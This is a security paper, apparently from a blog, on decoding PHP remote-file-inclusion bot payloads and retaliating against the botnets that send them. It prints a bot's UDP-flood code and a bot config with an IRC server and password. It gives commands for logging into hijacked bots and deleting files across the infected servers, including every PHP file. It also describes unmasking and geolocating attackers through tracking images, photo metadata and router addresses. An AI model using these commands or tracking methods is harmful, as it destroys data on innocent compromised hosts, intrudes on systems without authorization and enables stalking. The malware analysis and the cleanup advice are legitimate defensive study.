Insecurity of Poorly Designed Remote File Inclusion Payloads - Part 2

Retribution

Authors:

Author: bwall (@BallastSec @bwallHatesTwits) - http://ballastsec.blogspot.com/
Author: DigiP (@xxdigipxx) - http://ticktockcomputers.com
With special thanks to MaXe (@intern0t) - http://www.intern0t.org

1. The Backstory (DigiP)

So for my introduction, my name is Tom, and my handle is DigiP. Most of you probably know me because of my work as a web and graphic designer, and friends who do their best to help promote me. For those who don't know me, I run http://www.ticktockcomputers.com You may have seen my work if you visited the Back|Track website, Offensive-Security.com, Secmaniac (aka Rel1k's Sacmaniac - sorry Dave) or Social-Engnieer.org run by Chris Hadnagy. Huge shout out to Chris, for whom was one of my first clients and early supporters, I would not be where I am today without him, and just want to say thank you to him. Thank you to Mati Aharoni for always making me do everything over and over (Try Harder). Thank you to Dave Kennedy for all his kind words, encouragement and push for making me go to Derbycon and including me in his circle of friends. Without their help, support and inspiration to seek more education from the infosec community, I wouldn't even be writing this backstory.

As one can see, they all work in the infosec community, doing their part to save the world and educate people about information security, a field I do not work in, but am tied to through my clients. 90% of all my clients, are people who work in the infosec community. There are also many others, we'll just label as "Anti-sec" whom I assume do not like my clients. That is my opinion, rather than fact, and I can not back that up really, other than the fact that last year, the Back|Track site was broken into, and I had my email and password exposed because of it. Now, this was a password I did not choose, and was provided to me, but my email was tied to it, and as such, was also an email I used for my PayPal at the time. This is something that I started to take very seriously, as this was one of the first times my information had been exposed, and posed a potential threat to my personal security. Needless to say, as a paranoid person would do, I deleted my paypal and started over, just in case anyone had ever tried using that email to bruteforce on another site that I may have used.

I began to see spam start rolling in, mainly in the way of phishing emails. Someone, had decided since I was on this list, I must be of importance. Then the flood of compliments started coming in, "Oh, I love your work on xyz.com, how can I get started in Graphic Design like you." I get about 1 or 2 of these a month. Then, I started getting requests for client sites, that said "I want you to make me a site that looks like offsec.com, or backtrack.com" for which I completely refused. But the interesting thing is at the time, I didn't realize they probably didn't care about getting me to create them a website, but really just wanted to find my email address, or possibly my IP address from the email headers.

Then something else started to happen. As I built my clientele, I started to see more traffic to my site. Much of which was from Russia and Romania, with the average Chinese attacker here and there. People from India were sending me letters asking to come intern at my company, not realizing I am a one man show. One of the things I do regularly, is check my logs to see where the traffic comes from and who might be potential clients, whose emails might be phishing, etc. Then it dawned on me. For the past two years, the majority of traffic coming to my site was people trying to attack it. Scanners that look for wordpress flaws, joomla, drupal, phpmyadmin, and the likes, all started showing up on my logs, but I had to manually go through and look for them. This was on my error logs, which only showed the errors, but no http codes with the requests. Then I started to follow the IP in my access logs, and noticed something. All the attacks, had specific http response codes. So with a little digging, I added some htaccess fu and some php scripts to my site, and now, every time someone tries an attack over http, I get an email. It got to the point that I couldn't keep my phone alive, because the amount of attacks

coming in was draining my battery.

After a year of this, I decided to take a new approach. I went from being on the defensive, to being on the offensive. I started to track down the IP addresses, and follow the scripts attempted to be used in the attacks. Now I want to be clear upfront, I am not someone who works in infosec, I am not formally trained, and have little to no hacking experience. But I am a bit OCD when I see the alerts, and do my damnedest to recon and track down what is happening. This had led to a little rant on twitter, that started to snowball, and then a few others, bwall and MaXe took notice and as such, we are at this project.

In the beginning, I was working alone, trying to figure out what was happening. I would manually download all the RFI attacks and deobfuscate them by hand in a virtual machine, sometimes just letting them run and following their trail in wireshark. Almost all of them, immediately contact other servers for update lists for sites to scan and have command and control centers written in PHP, Perl, Python, ELF files or directly from IRC channels bots like eggdrop. The interesting part, is some of the IRC bots, are written in PHP and include other payloads added as if they were mime email attachments, encoded in Base-64.

After my attempt at php coding my own decoder, I shared it with bwall to show how I decoded most of their bots. He then stepped it up a notch. Lets say 10 or so notches, and came up with a two fold harvester. One, you can copy and paste the code into it, and it will then spit out the plain text of it, or two, you can just paste the URL in, so you don't have to download or visit the site yourself, preventing possible secondary infection, and get the same results. Very nice indeed.

MaXe and I had talked a little bit about this on Twitter, and he mentioned he was doing research on bot nets in general, so I just sort of introduced the two and now, we(or they for the most part) have picked up what I started ranting about, taunting my attackers on twitter(yes, I troll all of you on purpose), and used my logs as a means to follow and track down the bot nets, dissect them, and learn how they work. The more I mentioned it on twitter, and the more I blogged about it, especially putting the words "TimThumb" in anything tied to a url, the more traffic it drove to that url. These bots may be automated for the most part, but don't doubt for a second it's also a targeted attack. Many of the attack groups have an agenda.

This is all my opinion and theory on why they target me, but my guess is, 1, they don't like the work that my clients do as White Hat Hackers, 2, they think that if they can get into my site, maybe that will give them some way into my client's sites, or 3, I am just the booby prize for someone's defacement contest. In recent months there was the Indonesian Back Track Team, who came out with a website, mimicking much of what Offsec and Backtrack does, but they also plagiarized an article from CorelanCoder (please excuse if I have facts wrong on any of this). I mentioned to Mati about the use of the backtrack logo and the shirts they were selling, the fact they were pretty much copying the offsec site, on training, look, etc, and passing themselves off as official affiliates of the Back|Track team, something they denounced from day one and all of us knew was not true.

As such, the majority of the attacks I see coming in now, are from Indonesian coders. I had already been seeing Indonesian scripts and RFI attacks long before the "Indonesian Back Track Team" incident, so I can't help but think they are somehow related, but that may be more or less coincidence. Still, the comments in their shell scripts, old r57 and c99 russian php web shell scripts, have been stripped of the original authors names and comments, and added with their own "hacker crew" names, emails and shout outs, most of which are written in Indonesian and

Malay with the occasional Portuguese/Brazilian and Russian comments. They almost always leave banner images and links back to their sites (something as simple as a favicon url), for which they try to deface their targets, root them with linux ELF files and backdoors, and even install IRCd setups so they can botnet off other peoples sites with their own IRC channels on the same sites they've attacked and rooted.

2. Preface

As a collection of White Hats, we stay on the legal side of things. Some of the techniques described in this document may or may not be legal where you are from, so therefore we can not condone taking down a botnet using some of the mentioned methods in this paper, but you may do as you please. None of the authors of this paper, can be held responsible for the actions you as an individual person or company performs illegally to take down the referenced botnets.

3. Analyzing the Payloads (bwall)

In this section we will discuss how to analyze the scripts for various attack payloads, and how to take the information they failed to hide, and then turn it into identifiable information on the attacking person or groups therein.

3.1 Decoding (bwall)

Many of these attacks use payloads which are encoded, so you can't see what they are doing. There are various methods of decoding these, but the payload developers often use automated methods to make decoding manually very tedious, often leading the the decoder doing as DigiP mentioned, running the script and capturing the traffic over wireshark. This can be dangerous, but most of the risk is mitigated by running it inside an isolated VM. (i.e. Virtual Machine)

As a security focused developer for years now, I can't help but push for a more scrupulous method (bwall). This is why I made a webpage allowing for the auto decoding for most of the payloads (https://firebwall.com/decoding/). You can use that to decode payloads either by URL or copying and pasting them in. If you use the URL method, the decoded bot will be archived with the link, a timestamp, and available for others to see. This is so people can see the kind of payloads that are being used, as well as follow through on some of the analyzing techniques we detail later, even if they were not the ones attacked by it. The decoder isn't exactly perfect at this point, and is defeated by methods I mentioned in the first paper, but handles a majority of the bots out there without any problems.

3.1.1 Common Encodings (bwall)

The most common encoding types are ones that are built directly into PHP. Almost all of these use a function in PHP called "`eval`". It takes a single parameter which is just a string of PHP to execute. It can be very useful at times, but for the payload developer, it is their main tool for obfuscating their payload. It can be as simple as an eval being run with a base64 encoded string, or a nested mix of `eval`, `base64_decode`, `gzinflate`, `str_rot13`, and even more techniques. I refer to these as encodings as they are not encryptions. There are no keys, so I automated the decoding in a safe manner.

3.2 Reverse Engineering (bwall)

At this point, we have reached a point where we can see most of the code in its original state, and can start determining how it works. An intelligent payload developer would use the techniques I mentioned in the previous paper, but alas, none of them seem to be. From here, with a basic understanding of PHP, we can start to take information out of the decoded payload that can lead us back to the command and control servers. These command and control servers can be setup in various ways with different levels of control over the running payloads. Some just tell the botnet that a site is vulnerable, and does not initially try to exploit, others will run as an IRC client that just sits in the command and control IRC network, awaiting commands and spitting out information. For all of these, the key things you want to look for are; where are they connecting to, and what, if any, authentication measures are being used. So many of these payloads just leave the password sitting right there in the source. Others will hash the password, but from a few we saw, the password was basically trivial to bypass and not even needed to be cracked.

3.3 Information Gathering (DigiP)

For the most part, everything starts with some form of an attack. In most corporate networks, they usually have several appliances that sit in a corner of the network room and look up IDS rules and so forth and block anything suspicious. In my case, I don't have anything to go on other than access and error logs from apache, due to how my hosting is setup. With that in mind, tracking down the attackers is usually done in two parts.

3.3.1 Identify the true IP or domain name of the attacker in the log (DigiP)

This can actually be tricky at times, because some lookups don't reverse to an IP when a domain name shows on the logs. For this I usually pick apart the domain if it contains part of an IP, reverse it sort of like an in-addr.arpa address.

For example try pinging 18.6.207.91.unknown.steephost.net. Should get host not found or nothing resolved. Then try a whois on the reversed IP section of the address, and find the real IP and matching name: http://whois.domaintools.com/91.207.6.18

Tools you can use for this online are whois.domaintools.com or even www.ewhois.com. Those are my two favs at the moment, but also the built in `nslookup` in both windows and linux works fine, as well as `dig` and `whois` if you have it installed locally. The eWhois site will also let you search Google Analytic ID's as well as Adsense ID's, which can be found on many of the attackers blogs and forums for which you can match their ID's to and collect more sites they may own. This can show multiple domains created by the same user, which leads to reinforced evidence if there are matching names, profile pics, etc, across all the sites listed by the results. You can also use http://spyonweb.com as well for Google Analytic and Adsense tracking across multiple domains, which may sometimes yield more than eWhois and vice versa.

3.3.2 Identify the RFI script, and see if you can download it. (DigiP)

In doing so, I generally proxy, ssh tunnel, or VPN my connection at all times, and would suggest

even using a VM since secondary infection is always a possibility. Some of the attacks, are faked, and meant to lure you to the attacker's site, so they can scan you directly, so know that while it looks like an attack on the surface, it's more or less another form of phishing, hook line and sinker.

With respect to number one, and the true attackers IP, I then find out what ISP its on, but most of the time, these aren't home workstations doing the attacks. Some of them are DSL and Cable users for which you can't do a whole lot other than try to get the ISP to kill the IP, but most often it is another compromised web host they have control of from some other IRC channel or network. They then tell it to call the second part of the attack, the RFI script, from a completely different domain, but could also reside on the same machine. To map this out, it would be like an IRC bouncer(such as psyBNC) that the botnet owner has control of, he then grabs one of his compromised machines, and tells that machine to send off the RFI attack using a script on a 3rd party machine or sometimes using the same host. This is generally the pattern, but does little to hide the attacker since they advertise their own IRC networks in all the scripts. For the bot to work, it has to call home for updates or to send back what it has found to the IRC channel. (See bwall's logs below for actual conversations by the bot owners sending commands)

I'll use the TimThumb plugin as an example of how these attacks work. In most instances, they prefix their domains/subdomains specifically for vulnerable versions of the TimThumb plugin, since a flaw in the script has an allowed list of sites it will accept images from, they can add a gif header to a PHP Reverse Shell Script and use it for the RFI attack. It looks something like this in the vulnerable versions of the plugin, accepting files from foreign URL inclusion:

```
$allowedSites = array(
        'flickr.com',
        'picasa.com',
        'blogger.com',
        'wordpress.com',
        'img.youtube.com',
    );
```

TimTHumb will then cache the file, by renaming it with an MD5 hash of the original file name, and putting it in the /cache/ directory. Knowing which theme or plugin is in use and finding the plugin itself, will determine where the cache directory stores the files.

The attacker will usually have a sub-domain setup, like "picasa.com.ipsupply.com.au" on top of "ipsupply.com.au". This is where things get tricky. If you do an `nslookup` on "ipsupply.com.au" you get one host owner for the resulting IP address, linode. That would make you think linode is in control of this attacking machine and the subdomain(as it would appear) is theirs, so sending them an abuse email would solve the problem. Not so much the case in this instance. Now do an nslookup on "picasa.com.ipsupply.com.au". As you will see, the attacker managed to put a top level domain (functioning as a regular sub-domain), like picasa.com, on top of an existing website like issuply.com.au that they don't own. As if they were one and the same site, residing on the same server, with a subdomain of picasa.com.x.x.com, they in fact have two different IP addresses, and completely different name/dns servers and whois info:

```
nslookup ipsupply.com.au
Server:  resolver2.opendns.com
```

```
Address:  208.67.220.220

Non-authoritative answer:
Name:    ipsupply.com.au
Address:  173.255.219.23


nslookup 173.255.219.23
Server:  resolver2.opendns.com
Address:  208.67.220.220

Name:    li229-23.members.linode.com
Address:  173.255.219.23


nslookup picasa.com.ipsupply.com.au
Server:  resolver2.opendns.com
Address:  208.67.220.220

Non-authoritative answer:
Name:    picasa.com.ipsupply.com.au
Address:  173.10.84.21


nslookup 173.10.84.21
Server:  resolver2.opendns.com
Address:  208.67.220.220

Name:    smtp.motorcyclemarket.com
Address:  173.10.84.21
```

This generally makes finding the attacker much harder by using their IP or Domain Names alone by general whois lookups, which will strip the sub domains off and only return the main TLD, so you must be very thorough with your findings, on the initial domain, supposed subdomains, ip subnets, and any iteration there in. The scary part is, if you try to do a whois on “picasa.com.ipsupply.com.au” it gives you the whois data for “ipsupply.com.au”, since again, most whois services will strip the subdomain and only use the TLD, thus making it another form of obfuscation, and making the innocent domain of “ipsupply.com.au” seem like the responsible party for the attack.

Another thing to note with these scripts on how they store them, without executing them directly on their victim sites when you visit the RFI URL directly, is they will put rules in an .htaccess file, to make it so they won't execute on their compromised hosts once they’ve compromised it, like so:

```
<FilesMatch "byroe.php">
SetHandler text/asp
</FilesMatch>
<FilesMatch "tmp.php">
SetHandler text/asp
</FilesMatch>
```

```
<FilesMatch "bad.php">
SetHandler text/asp
</FilesMatch>
```

If you put that in an `htaccess` file, this will return a downloadable version of the file, instead of running directly as the PHP shell (script) itself. This is why when visiting the shells directly, they usually won't execute or let you attack your attackers using the same shell script (this does actually happen from time to time, but it's rare they leave it so open - know that when trying to download a shell found on your access logs, you could end up connecting directly to the server it's hosted on and see all of the victims files, directories, etc). So then comes the second part, actually downloading their web shell to dig for more clues.

In most of these, you can see all the commands for what the script does, what files it may call from other sites, updates, or references to files on the same system it may be looking to exploit so they can escalate privileges. In one script for example, it made itself copy to another server from `bad.php` to `r57.php`, or it might call a text file like `x.txt` and send it off to another site as `x.php`. Knowing this, you can usually brute force known shell names on the sites containing a non working php shell, and in many cases, find another working shell on the same server, left there by the attacker. The more shells you have collected, the easier it becomes to build a list of common shell names to look for.

Within most of these scripts, they all call home. Combined with contact to their IRC channels to report home, they also email themselves, but they try to obfuscate their email addresses and IRC Admin names with different versions of gzip and eval statements to hide their real identity. Combining the email addresses, comments and irc channels, you can gather these names for further recon and searches. Names that don't prefix like a normal bot name, are generally either people who have stumbled upon their bots and visited the channel out of curiosity, or sometimes even the bot owner themselves, denoted by their IRC Admin prefix for the channel. If they are in fact an admin in the channel and the name matches one in the script, this is usually a good indicator you may have found your attacker, but beware, *this is not always the case*. They use additional scripts, with pre-made IRC-NICK names, usually just dictionary or random names, that all use the same password, so investigating must go even deeper if they use a general, all purpose name for the IRC admin to keep control of the #channel. You can usually see the shell script call various other files with the name lists in them, often written in perl or just plain text, comma separated values they parse for a random name.

Then comes the searching and recon for the owners via all the other evidence found in the shell scripts. Sometimes its as simple as them bragging with defacements scripts, pimping out their website, like "www.code-security.com" or "indonesian-coder.com", "Rosebanditz IRC". The names of their IRC networks, sometimes listed in the scripts can even be dead ends and already shut down by other hosting companies, dead networks from long ago, but if you find an RFI script on one of these compromised hosts, a quick nmap scan for IRC on some other than normal port, will usually return a working IRC network on the same host. Typing in the url for example like: http://someattacker.com:4456/ will sometimes timeout and give you an IRC error message about not authenticating, right in the web page. And yes, I know I didn't use normal IRC port numbers. They try security through obscurity by running IRC on different ports, nothing new here. Sort of like banner grabbing, I just do this from a browser so I wouldn't actually have to create a nick and never actually connect to the channel from my own machine (this can be dangerous, so do from a VM via proxy, vpn, etc., in the event exploitable code is waiting for you on the other end). Once I confirm the IRC message, I know at least some form of command and control center exists or is backdoored on the server.

Then there are the usual lookup sites and social networks, Google, Twitter, Facebook, Google+, Linkedin, forum searches and profile matches, PeekYou, TinEye, etc. You could even automate a lot of this through the use of Maltego. All in all, you can spend hours searching for the users, or just a few minutes, depending on how brazen they are.

A quick way to find one of the attackers, de-obfuscate the script, look for their banner image links used in defacements or the shells header image, html title tags, or image sites like http://www.imgur.com or http://photobucket.com with a user name in the url, and then search for the hacker crew name or user name on places like Google or http://zone-h.com/archive for defacements with the same user names. If the image contains text written in another language, you can also use http://www.newocr.com/ to strip it for text.

Almost all of the attackers I have found so far, carry their own blogspot pages too, and you can use services like TinEye to find their profile images from their blogs, on other forum profiles, that link to their Twitter, Facebook and more. It would seem they really don't care if you find them, since they advertise almost everything about themselves in their shell scripts and on all of their blogs, forums, etc.

After finding a few of them, I will sometimes follow them on Twitter, use Google Translator to see what the conversations are (since they tend to be in a foreign language most of the time), and in many cases, even see them bragging about one of their defacements with links directly to the defaced pages. I then troll them, try to get a reaction, or show them a pastebin of one of their IRC networks with chat logs or servers with file listings of all their files they stashed on one of their victims, and it tends to get me even more attacks soon after this. In essence, the more you troll your attackers, the angrier they get, the harder they try to get into your site, the more IP addresses you see them come in from and the more shell scripts you can then collect. The more data, and the more pieces of the puzzle on who and where they are start to come together.

Getting one of them to PM you on a forum, or Twitter, lets you send them links of insulting pics; you can PM or email one to them, knowing only they will see them if sent in a private message, also lets you track them if you own the domain the pic is hosted on. I often join their hacker forums just to PM individuals, with transparent png files in the message hosted on my site with file names of the person I sent it to, and then check to see what IP is on my access logs for that user name. You would be surprised how many match to the same attacking IP's or general subnets from your original access logs, and all from some simple trolling of your attackers. A site that is nice to look up their IP's for Geo location data is http://www.ip2location.com/demo which can aid in finding the general location of your attacker, not an exact match, but a general vicinity, city, state, or country local. Connecting to their IP might also reveal a home router, for which you can sometimes harvest a MAC address, for which there are various other websites that pinpoint their physical location to within a few feet of their wireless routers. Most of this is done if Google has driven in their area, and mapped their SSID's and MAC addresses.

Having a profile pic or hacker crew banner can also be looked up in tools like TinEye to help further locate sites they may be registered on, such as different forums or social networks, which often show their location. Twitter for example, unless you turn it off, will tweet your location when sent from your cell phone or mobile devices. Pictures from many cell phones, can show GPS coordinates, and many of the attackers profile pics, are self taken with their own cell phones. Using a site like http://regex.info/exif.cgi can often show you a Google Map of where the image was taken, or the longitued and lattitude coordinates, so it makes sense to collect as

many pictures, avatars, etc, that you can from your attackers. Much of this can be faked, but often that is not the case. Especially if they use social networking sites like Foursquare.

3.4 Advanced Information Gathering (bwall)

Now gathering information on these botnets can be a tricky thing. You don't want to be obvious and just connect to their IRC server with `xchat` and your usual nick without using a proxy. They run a botnet, and DDoS's can be annoying if not mitigated properly. So you need to be a bit more cunning about it.

3.4.1 Impersonation Method (bwall)

In this method, you attempt to impersonate a node in the botnet by connecting to the command and control server in a similar way that a bot would. For instance, if they are using IRC for controlling the bots, use an IRC client and the same naming scheme. **USE A SECURE PROXY OR TUNNEL** if you do this. Its not a very covert method and its a really easy way to give yourself away if they have any sort of standard protocol for a new bot joining. The next method is preferred basically every way.

3.4.2 Castration Method (bwall)

My favorite method by far, is what I like to call the castration method. Since we already have the decoded payload, and have figured out what it can do, why not modify it to our needs. To castrate the payload, you need to remove any part of the bot that either attacks a computer/ network and change any part that tries to get information from your machine so that it will return static information that you set. So basically, you make them think they have infected you, but in reality, you are using their payload to gain access to their command and control servers. A key part to the castration method is adding logging messages to the castrated payload everywhere that might be slightly important. Then we run the payload on a webserver that they could have in theory (or actually did) attempt to attack. In this initial connect back, you will see the authentication methods, any automated queries made, and get a basic understanding of any automatic changes that the command and control server will make. This will let you know if they change the authentication to the bots automatically, or any important details like that. After logging the information for a long while (a few days is probably a good time period), you can save the castrated bot for the attack on the attackers, if only to verify that your attack is successful. My favorite part of this method is its like a con, you give them something they think they want (a bot on your server) but you use it to pull information from them on how to take them down. In writing the paper, we discussed it as being like that part in Independence Day (movie) where they use the modified alien ship to fly into the mother base. Except its a lot more plausible than hacking alien technology.

3.4.3 Castration Example (bwall)

Now we will walk through an example of how to castrate a bot and turn it into a recon tool. Here are the details on the original, a payload used to exploit timthumb.php, including the source. https://www.firebwall.com/decoding/read.php?u=296aba26a8d34787f4ba044463816273

Now we need to go through these functions, changing anything that would harm your system

or another into something harmless that makes the botnet command and control think its acting normally.

Here is some of the original code, a function meant to UDP flood a target for a set amount of time.

```
function udpflood($host,$packetsize,$time)
{
      $this->privmsg($this->config['chan'],"[\2UdpFlood Dimulai
Bos!\2]");
      $packet = "";
      for($i=0;$i<$packetsize;$i++) { $packet .=
chr(mt_rand(1,256)); }
      $timei = time();
      $i = 0;
      while(time()-$timei < $time) {
      $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
            fwrite($fp,$packet);
            fclose($fp);
            $i++;
      }
      $env = $i * $packetsize;
      $env = $env / 1048576;
      $vel = $env / $time;
      $vel = round($vel);
      $env = round($env);
      $this->privmsg($this->config['chan'],"[\2UdpFlood Selesai!
\2]: $env MB DDOS ATTACK / Media: $vel MB/s ");
}
```

And this is how bwall castrated it.

```
function udpflood($host,$packetsize,$time)
{
      //Here we just remove the actual sending of UDP packets
      $this->Log("UDP Flood to ".$host."\n");
      $this->privmsg($this->config['chan'],"[\2UdpFlood Dimulai
Bos!\2]");
      $timei = time();
      $i = 0;
      while(time()-$timei < $time)
      {
            $i++;
      }
      $env = $i * $packetsize;
      $env = $env / 1048576;
      $vel = $env / $time;
      $vel = round($vel);
      $env = round($env);
      $this->privmsg($this->config['chan'],"[\2UdpFlood Selesai!
```

```
\2]: $env MB DDOS ATTACK / Media: $vel MB/s ");
      }
```

This acts like its actually UDP flooding a target the same way the normal bot would, but just never sends the attack. Now there is a new function being used here. $this->Log is a function bwall added to allow for both logging to file and to screen of any information we think might be important. In this case, it's logging any targets they wish to flood. Here is a sample Log function.

```
function Log($message)
{
      $fh = fopen("logFile.txt", 'a');
      print "[".date(DATE_RFC822)."] ".$message;
      fwrite($fh, "[".date(DATE_RFC822)."] ".$message);
      fclose($fh);
}
```

We also want to avoid giving away real information about the machine its being executed on. So we will want to replace any functions that allow them to run commands from the castrated bot to return a failure message. This will make them just think that the server might have a good configuration stopping them from further infecting it. You might also want to leave some of the automated information gathering stuff in there. Like if they try to get a uname from your server, set a static value, that will stand up if they look into it further, but not releasing any critical information. Like don't say it's a Windows server when if they connect to your Apache, it says Ubuntu. Reconnaissance is an art, and is not something to be taken lightly.

If you want to use a proxy with your castrated bot, you can add some code to change its connection to use a proxy. PHP-Cli doesn't play nice with torify, so I decided to write this function that you would replace fsockopen with.

```
function fsocks4asockopen($pHost, $pPort, $tHost, $tPort)
{
    $sock = fsockopen($pHost, $pPort);
    if($sock === false)
        return false;
    fwrite($sock, pack("CCnCCCCC", 0x04, 0x01, $tPort, 0x00,
0x00, 0x00, 0x01, 0x00).$tHost.pack("C", 0x00));
    $response = fread($sock, 16);
    $values = unpack("xnull/Cret/nport/Nip", $response);
    if($values["ret"] == 0x5a) return $sock;
    else
    {
        fclose(sock);
        return false;
    }
}
```

This function connects to a Socks4a proxy, and returns the same result you'd get with fsockopen, except the communication will be routed through the proxy. Just a fun fact, Tor uses a Socks4a proxy at 127.0.0.1:9050 on the machine its running on.

4. Attacking the Attackers

In this section, we will discuss how to use the information in the previous section to get retribution.

4.1 Knocking the Bots Down (bwall)

Just like any software, it can be exploited. The only difference is you don't have many chances to try and attack this software as it runs in its native environment without being noticed. You may notice different constraints being set by the botnet on who can control the bots and who can't. For instance, you might need a specific vhost to do it. You would just need to find a way to have that vhost to get control. With luck, the bots have self destruct methods, as most bots do to hide their tracks. These are the the optimal attack methods. Trying to take control of the botnet for yourself is a horrible idea, as it will mostly just end up in a bunch of DDoSing. It's best to just take them down. Sometimes you can get lucky and you find the method being used during reconnaissance. Here is an example of that which was seen with the castrated bot with some values replaced to protect our spy.

```
:herder!user@just.some.IP PRIVMSG #botchannel :.bot quit
```

We saw this with a different generation bot than the one we were using to gather intel. This information is pivotal since we did not previously know how to take down those bots. Even though its a dead simple command, we did not know what it was, and we can disable those bots easily now. To disable the bot we have analyzed, we can just use the disable command by reading the code. In this one, it's actually fairly simple.

```
case "die":
   $this->send("QUIT :nXs crew bot dimatikan oleh $nick");
   fclose($this->conn);
   exit;
```

So we just need to log into the bot and send a message saying ".die". While these commands are simple, there are certain constraints we need to follow to actually be able to login to these bots. That is where it gets a bit tricky, but there aren't a lack of ways to do it. This bot requires that the virtual host of the user to be a specific value as well as supply a password. The password part is simple, it's just in the code where it also says the virtual host we need.

```
var $config =
array("server"=>"irc.kantincrew.org", "port"=>"6667", "pass"=>"", "pre
fix"=>"nXs|", "maxrand"=>"8", "chan"=>"#nxs", "key"=>"131", "modes"=>"
+p", "password"=>"mensen", "trigger"=>".", "hostauth"=>"newbe.org");
```

Depending on the command and control server configuration, we can get this virtual host in various different ways. One simple way is to use HostServ on the IRC server. This may require more information, which surprisingly can be found in sites that have been exploited by the botnet. We managed to archive massive amounts of configuration files from servers that had been exploited, since the ones that have been exploited are being used to exploit others. Granted, it does require sifting through all those configuration files to actually find a way to get

HostServ to grant us the virtual host without requiring authorization from the herder. You could always log in as the herder, which really depends on what information you find.

4.2 Keeping them Down (bwall)

This part really depends on the bot and how it's being run. If it is running purely as an RFI in a PHP script that never actually was written to the server, just running the kill/die/quit command for it will do the trick. You won't stop that server from being exploited again, but the bot won't just restart. If the RFI attack is persistent and actually initiated by accessing a backdoor hosted on the server, like in a Timthumb exploit, the backdoor needs to be removed. This is most easily done with a command in the bot itself to run commands on the host machine. You simply need to tell it to delete the file that is currently running or any file vital to the backdoor. After logging into the example bot, you can simply send the following message where FILE is the file you want removed. Keep in mind, scripts currently running can be deleted.

```
.sexec rm FILE
```

There is a more exact way to do this using the eval command. I initially preferred not to use this method as the developers of the bot failed to properly parse the command, and therefore, you have a useless parameter after the .eval command.

```
.eval useless shell_exec("rm -f ".$_SERVER['SCRIPT_NAME']);
```

Here is an example of using this method: http://www.youtube.com/watch?v=JrA_axdQj1k
If you do this in the channel where all the bots can see, all the ones you are logged into will run this command. If you really want to be sure that you took care of all the shells, you can run this command, although it is very possible that it will cause software on the infected machines to not work properly.

```
.sexec rm *
```

It's not the most aggressive method, yet it is still an aggressive method. This will delete all the files in the current directory on the infected machines. Assuming that the attackers did get in through a vulnerability in some PHP code, the following is about as aggressive as it gets.

```
.sexec find / -type f -name "*.php" -exec rm -f {} \;
```

This will wipe out any PHP file that the web user has the permissions to remove.

There are more techniques to keeping the bot nets down that we will get into in another paper, as this just stops the current bots, and doesn't change how computers are being infected with these payloads.

4.3 Things to look for post infection (DigiP)

Something you can do as a compromised host, is take an active role in finding the connections back to the IRC networks. This allows you do kill off the connections in a manner, that does not require you to connect back to the IRC networks themselves. The reason this is good, is

because some of the bots we have found, do not have kill commands. They also try to use obfuscation tricks, similar to a Windows Virus that starts itself as “svchost.exe”, *nix systems are vulnerable to the same type of tricks.

First thing you will need to do is search the server for all instances of reverse shells. These are more than likely going to be PHP files, but is not always the case. Many of the reverse shells may only live in memory, as running processes, so this becomes a bit harder to track down. Because of this, you can use two commands to show you connections on the server made to the outside world, and then match these connections with running PID ID’s of the connections in question. The first command to run, is a netstat command, which will show you all connections made to the host, established, or listening for commands from the botnets.

```
netstat -anp
```

This command shows all connections, port numbers, and in the last column the PID ID for the running process that made the established connection. Now we will run the PS command, to check for matching processes with the same PID, relating to any established connections with remote servers.

```
ps -Af
```

In the list of programs you should see matching PID ID’s for the previously established remote sites. In one such Perl script, we found that the IRC BOT started itself as sendmail. Being that there was no legit sendmail on the server in progress, and all IP and PORT numbers for all instances of sendmail matched that of the Perl script, it was a quick kill to remove these connections.

```
ps -Af | grep sendmail | awk '{print $2}' | xargs kill
```

This command would list all running programs, first column being the user or owners of the process(something we could match to the reverse shell scripts via ‘whoami’ command, to see who owned the process). The second column was the PID ID of the running process. Only our attackers owned the sendmail process at this time, so by issuing the command above, it would grep all instances of sendmail, use awk to grab the PID ID from the second column, and then issue the kill command to stop all running instances of the bot.

Then we issued the netstat command again. We could see a significant decrease in connections to the confirmed IRC Networks IP addresses, but found that this only dwarfed the number of connections by a small percentage. There were other connections in use, on more than one IRC network, and more than one bot. For this, we did lookups on the established connections, confirmed they were in fact IRC networks, and then one by one, killed the PID for the matching established connections. The other bots had started themselves as [http] and some as apache, making it look like as if they were normal web traffic. That is one of the advantages of running the bots from php scripts, since traffic coming back to the server looks like http traffic. Once these connections were killed, no more bots were running on the server.

One of the things I found you could do, to help mitigate reinfection, since this was after all, an RFI attack on a TimThumb vulnerability, was add an htaccess file inside the /cache folder, where they upload their reverse shells. The following code makes it so that even if they manage

to re-upload their reverse shell, all they will find when trying to access them, is a 404 not found.

```
<Files *.php>
order deny,allow
deny from all
</Files>
```

This is more or less a band aid to the problem. The exploit is still there, and in some cases, an uploaded gif or jpg, will still execute as PHP. But this is somewhat effective at keeping the average script kiddy at bay, for a little while anyway.

Another htaccess trick you can try, if your host implements the module, but doesn't have "allow_url_include" off by default in php.ini, is add it to your own htaccess file.

```
<IfModule mod_php5.c>
php_value allow_url_include "off"
</IfModule>
```

This should in theory, make it impossible to download files remotely via RFI attacks. Test this on your own servers implementation though, as not all servers are created equal.

5. Conclusion (bwall)

I'd like to say now, that we do not condone these actions, or the attacking of any botnet or computer system, as its most likely illegal where you are. During this research, we emulated the botnet environment in a virtual network using modified versions of bots and botnets we researched. We are merely showing anyone who reads this paper the holes we found in the botnets we researched and how they are more vulnerable than the computers they exploit. They live in glass houses, and this paper merely tells you how one would go about throwing a stone, just make sure you aren't in one as well.

5.1 Special Thanks

5.1.1 DigiP

With respect to many of the things I mentioned in this article, I would like to give attribution to the people from which I learned from. The fact of the matter is, over the years, I have watched, read, spoken with, and observed from so many, I can not cite specifically where any of it is from. For that reason, I would like to give attribution to the infosec community as a whole.

I have absorbed much of this information without ever realizing it, and for the most part, just picked it up as second nature. Much of it was trial and error, but much more of it was also from the daily lessons I've seen in various places, such as the people I work for, my clients, friends on Twitter, members of the Hak5 forums, and so on. I would like to make a quick request even, to @attrition, aka Brian Martin, if you are reading this, and I seem to have plagiarized any of it, I expect a good reaming ;) I am counting on you to help me cite techniques, sources, etc from

wherever,and whomever was the first to think of them, if you can find the original sources of course.

This paper was not written to be snide to any groups or take credit for any of the parts I wrote; if it was someone elses techniques, or in any way antagonize groups or parties mentioned in the paper. It was written with the hopes that others will find it useful, and if anything, give some inside look at what may be happening to someone's own sites, what to check for, and how to deal with it.

Thank you to bwall for all the help with this project, and to Maxe for consultation.

5.1.2 bwall

